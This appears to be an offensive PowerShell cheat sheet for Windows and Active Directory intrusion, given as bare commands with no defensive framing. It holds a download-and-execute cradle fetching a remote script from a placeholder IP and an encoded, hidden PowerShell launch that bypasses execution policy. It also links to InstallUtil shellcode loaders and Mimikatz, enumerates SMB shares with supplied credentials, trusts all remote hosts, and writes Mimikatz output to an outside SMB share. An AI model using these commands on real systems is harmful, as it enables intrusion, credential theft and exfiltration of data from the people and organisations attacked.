IEX (New-Object Net.WebClient).DownloadString("http://<ip_address>/full_path/script_name.ps1")

powershell -ExecutionPolicy Bypass file.ps1

. .\file.ps1

powershell.exe -NoP -sta -NonI -W Hidden -Enc ENCODED_BASE64_PAYLOAD

String to Bytes to Base64:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1:8000/")'))

Run a domain command from a non-domain computer:

runas /netonly /user:<domain>\<username> powershell.exe

Execute ShellCode Via InstallUtil x86: https://gist.github.com/interference-security/117dd7a820380b0af13b9ecb8f21ff0c (Dead link: https://gist.github.com/subTee/408d980d88515a539672)

Execute ShellCode Via InstallUtil x64: Looking for a trusted fork (Dead link: https://gist.github.com/subTee/a06d4ae23e2517566c52)

https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.md

Mimikatz in JS: https://gist.github.com/interference-security/276c4b0e9ed53a82b5c4958b4a708023 (Dead link: https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f)

SMB Shares on a list of IPs:

$UserName = "Domain_here\Username_here" ; $sec_password = "password_here" ; $Credentials = New-Object System.Management.Automation.PSCredential -ArgumentList $UserName, $sec_password ; get-content .\ip.txt | foreach-object { Write-Host "[*] $_" ; Get-WmiObject -class win32_share -credential $Credentials -ComputerName $_ }

SMB Shares on a single IP:

$UserName = "USERNAME_HERE" ; $sec_password = "PASSWORD_HERE" ; $Credentials = New-Object System.Management.Automation.PSCredential -ArgumentList $UserName, $sec_password ; Get-WmiObject -class win32_share -credential $Credentials -ComputerName "YOUR_IP_HERE"

Powershell remote session:

Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force

$cred=Get-Credential "$env:USERDOMAIN\$env:USERNAME"

Enter-PSSession -ComputerName 192.168.1.2 -Credential $cred

Powershell output to SMB share:

#script content here

$A = function_name_for_above_script_here #example: invoke-mimikatz

Out-File -FilePath \\IP_ADDR_HERE\guest_writable_smb_share_name_here\output_filename_here.txt -InputObject $A -Encoding ASCII

Powershell Get-ADUser Input File and List:

$users = Get-Content "C:\temp\user_list.txt"

$users = "Fname1 Lname1","Fname2 Lname2","Fname3 Lname3"

$out = Foreach ($user in $users) { Get-ADuser -Filter { displayname -eq $user } -Properties * | select name,mail,samaccountname }; $out | out-gridview